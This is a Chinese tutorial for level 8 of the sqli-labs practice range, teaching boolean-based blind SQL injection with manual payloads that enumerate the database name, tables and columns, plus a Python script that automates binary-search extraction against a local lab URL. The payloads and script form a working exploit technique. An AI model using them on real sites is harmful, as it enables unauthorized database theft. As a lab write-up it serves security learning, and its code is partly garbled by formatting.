目录

sql靶场-布尔盲注第八关保姆级教程

sql靶场–布尔盲注(第八关)保姆级教程


布尔盲注了,这种页面只会有成功和错误两个状态的页面,不会出现报错显示,这种可以尝试可以通过布尔盲注来不断尝试猜测出数据:并且我们可以使用多种方法来注入

进行闭合测试 单引号测试 https://i-blog.csdnimg.cn/img_convert/da194e840c35ac39bdbeabb1b444f8c5.png 这里发现页面变换,但是没有报错 单引号闭合测试 https://i-blog.csdnimg.cn/img_convert/f00f17efa4dbdfe13f7d9ba8d5a31d7b.png 发现这里闭合方式就是单引号 确认是否真的没有报错 使用order by 排列 https://i-blog.csdnimg.cn/img_convert/3edfcd09061d54acc58b41e78b4d913c.png 发现页面变换,但是没有报错了,只有这两种页面,基本就是布尔盲注了

手动进行布尔盲注十分麻烦,首先先要注入出名字的长度 ?id=1’ and (select length(database())>3) –+ ?id=1’ and (select length(database())>8) –+ ?id=1’ and (select length(database())>5) –+ ?id=1’ and (select length(database())>6) –+ https://i-blog.csdnimg.cn/img_convert/12e63c195bbaa058f40b34c786677f51.png https://i-blog.csdnimg.cn/img_convert/6eab30b8891cd53a51361111ececf0b5.png https://i-blog.csdnimg.cn/img_convert/281196fc36b03e8ad29e90da2d162bac.png https://i-blog.csdnimg.cn/img_convert/6dfc648abbfd8bf936c67c641fadb3f1.png 然后一个一个注入出名字的字符的ASCLL码然后对照表将名字完整的获取出来

十进制十六进制字符说明
320x20空格 (Space)
33-470x21-0x2F! " #/标点符号
48-570x30-0x390-9阿拉伯数字
58-640x3A-0x40: ; <@特殊符号
65-900x41-0x5AA-Z大写英文字母
91-960x5B-0x60[ \ ] … ```特殊符号
97-1220x61-0x7Aa-z小写英文字母
123-1260x7B-0x7E{ `} ~`特殊符号

一般名字命名的字符是在32-128之间,所以测试一般在里面测试 可以用二分法进行测试 ?id=1’ and ((select ascii(substr(database(),1,1)))>80) –+ ?id=1’ and ((select ascii(substr(database(),1,1)))>104) –+ ?id=1’ and ((select ascii(substr(database(),1,1)))>116) –+ ?id=1’ and ((select ascii(substr(database(),1,1)))>110) –+ ?id=1’ and ((select ascii(substr(database(),1,1)))>113) –+ ?id=1’ and ((select ascii(substr(database(),1,1)))>114) –+ https://i-blog.csdnimg.cn/img_convert/07ac97cefc0165d9d69735dd2c04b4d6.png https://i-blog.csdnimg.cn/img_convert/0bbf55353c5a140780bdbf68e2147392.png https://i-blog.csdnimg.cn/img_convert/fc0a7247a2de1b16cc42ad56373e6e8d.png 最后确定是ASCLL是115,对照ASCLL是字符s 剩下的也这样一个一个慢慢的注入出来

注入出数据库名后再去注入表名与字段名 由于表名与字段名一般不可能只有一个,所以需要多注入出它们的具体数量 ?id=1’ and (select count() from information_schema.tables where table_schema=database()) > 3–+ ?id=1’ and (select count() from information_schema.tables where table_schema=database()) > 5–+ https://i-blog.csdnimg.cn/img_convert/67c1a0c32074c679f3e5a494b4ef4bc0.png https://i-blog.csdnimg.cn/img_convert/d1d7c4937354340d5296dbfe5f5fd927.png

?id=1’ and (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6 –+ ?id=1’ and (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8 –+ https://i-blog.csdnimg.cn/img_convert/10d8d328db8d28d536742168449ca05a.png https://i-blog.csdnimg.cn/img_convert/a2b1481285fa563e5fcae58f3bef4b6e.png

?id=1’ and (ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32) –+ https://i-blog.csdnimg.cn/img_convert/56714b1a614ff48ce1719acdb43cf823.png

?id=1’ and (select count() from information_schema.columns where table_schema= ‘security’ and table_name=‘users’ )>2 –+ ?id=1’ and (select count() from information_schema.columns where table_schema= ‘security’ and table_name=‘users’ )>4 –+ https://i-blog.csdnimg.cn/img_convert/ff4499f7636c16f43e2a1fc93b362816.png https://i-blog.csdnimg.cn/img_convert/1ac029ac790e57a68e6c12c73678851b.png

?id=1’ and (select length(column_name) from information_schema.columns where table_schema= ‘security’ and table_name=‘users’ limit 1,1)>6 –+ https://i-blog.csdnimg.cn/img_convert/d3f31e1e481ce30f95c638bac2b9b87c.png

?id=1’ and (ascii(substr((select column_name from information_schema.columns where table_schema= ‘security’ and table_name=‘users’ limit 0,1),1,1))>32) –+ https://i-blog.csdnimg.cn/img_convert/a83d9acda1eb5c6d1508c6fbec715496.png 所以这种方式十分费时费力,建议写python的脚本进行注入

import requests def inject_database(url): name = '’

初始化空字符串,存储最终数据库名

for i in range(1, 100):

遍历字符位置(假设数据库名最长99字符)

low = 32

ASCII可打印字符起始值(空格)

high = 128

ASCII结束值(DEL字符,实际只用到127)

mid = (low + high) // 2

二分法初始中间值

while low < high:

二分查找当前字符的ASCII值

payload = " 1’ and ascii( substr( (select database()),%d,1)) > %d– " % (i, mid) ’’’ " " 里面是构造的Payload 1’ 闭合前面的单引号 ascii() 将字符转换为相应的ACSII值 substr( (),%d,1) 获取()里面的字符集的第 %d 位开始的第一位字符,第一个%d(占位符)是代表i select( database()) 查询获取当前的数据库名 ()>%d 第二个也就是这个%d是mid and (‘1’)=(‘1 闭合 % (i, mid) 为 Python 的字符串格式化语法,将变量 i(字符位置)和 mid(猜测的 ASCII 值)动态插入 Payload,实现自动化枚 ’’’ params = {“id”: payload} r = requests.get(url, params=params) if “You are in………..” in r.text:

if() 看页面里面有没有You are in………..来判断字符的ASCII值是否大于mid

low = mid + 1

当前字符ASCII值 > mid,调整下限

else: high = mid mid = (low + high) // 2 if mid == 32:

若mid为32(空格),终止循环

break name = name + chr(mid)

将ASCII转为字符并拼接

print(name)

实时输出当前结果

if name == “main”: url = “http://127.0.0.1:8080/sqli-labs-master/Less-8/index.php”

网站地址,千万千万注意网址一定要是自己搭建的sql网址,不能用我的,否则无法使用

inject_database(url)

包含网站

https://i-blog.csdnimg.cn/direct/5f6d309d91ed41a6bc38fec0fce13497.png